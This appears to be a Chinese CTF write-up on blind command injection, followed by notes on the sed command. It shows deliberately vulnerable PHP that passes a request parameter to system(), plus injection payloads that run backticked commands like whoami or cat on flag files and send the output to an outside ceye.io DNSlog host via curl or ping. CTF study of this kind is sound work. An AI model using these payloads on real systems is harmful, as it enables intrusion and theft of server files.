添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
相关文章推荐
高大的机器人  ·  Issues with ...·  9 月前    · 
坚强的汤圆  ·  import pickle | ...·  9 月前    · 
愤怒的伤疤  ·  TypeScript再学习 | ...·  10 月前    · 

遇到一个题目,是一个命令执行,但是并没有回显,也就是说看不到命令执行的结果。在这种时候就需要利用dnslog来查看命令执行的结果。自己本身对于盲打rce就不太会,这次做一个总结。 这里介绍一个dnslog利用平台, ceye

平台的payload

记录在http request中

http://192.168.10.55/
$a = $_GET['id'];
system("$a");

payload

curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`

只能使用linux的curl访问才会成功,在浏览器直接访问时无效的。

记录在dns query中

DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。

在注册ceye.io之后会分配一个三级域名。就是******.ceye.io。

ping `whoami`.******.ceye.io

上面这条命令最终在ping的时候ping的是“root.******.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。(个人理解,如有错误,烦请指出。)

所以这种方法的使用必须有ping命令。

题目存在robots.txt文件,访问发现两个文件

index.txt
where_is_flag.php

index.php代码

include("where_is_flag.php"); echo "ping"; $ip =(string)$_GET['ping']; $ip =str_replace(">","0.0",$ip); system("ping ".$ip);

可以看到存在ping命令,但是测试没有回显,于是就采用dnslog的方式来查看回显。 payload

ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
# 因为域名中不允许有空格,但是php代码中可能会含有空格,所以使用sed命令将php代码的空格替换为xx

最终的url

http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

在dns query中查看 可以看到文件的内容是

<?php $flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php";?>

由此得知flag.php的位置,继续打印flag.php的内容 获取flag的url

http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

得到flag。

linux命令三剑客-sed

何为sed

sed 是Stream Editor(字符流编辑器)的缩写,是一种可以对文件内容临时做处理,并且不实际修改内容的工具(不过sed是可以实现修改文件内容的操作的)。

看一下官方手册

-n, --quiet, --silent suppress automatic printing of pattern space -e script, --expression=script add the script to the commands to be executed -f script-file, --file=script-file add the contents of script-file to the commands to be executed --follow-symlinks follow symlinks when processing in place; hard links will still be broken. -i[SUFFIX], --in-place[=SUFFIX] edit files in place (makes backup if extension supplied). The default operation mode is to break symbolic and hard links. This can be changed with --follow-symlinks and --copy. -c, --copy use copy instead of rename when shuffling files in -i mode. While this will avoid breaking links (symbolic or hard), the resulting editing operation is not atomic. This is rarely the desired mode; --follow-symlinks is usually enough, and it is both faster and more secure. -l N, --line-length=N specify the desired line-wrap length for the `l' command --posix disable all GNU extensions. -r, --regexp-extended use extended regular expressions in the script. -s, --separate consider files as separate rather than as a single continuous long stream. -u, --unbuffered load minimal amounts of data from the input files and flush the output buffers more often --help display this help and exit --version output version information and exit
cat where_is_flag.php|sed s/[[:space:]]/xx/g

由手册可知,s参数是替换,所以这条命令就是将where_is_flag.php的空格替换为xx,这样就避免了域名中出现空格导致无法获得回显得情况。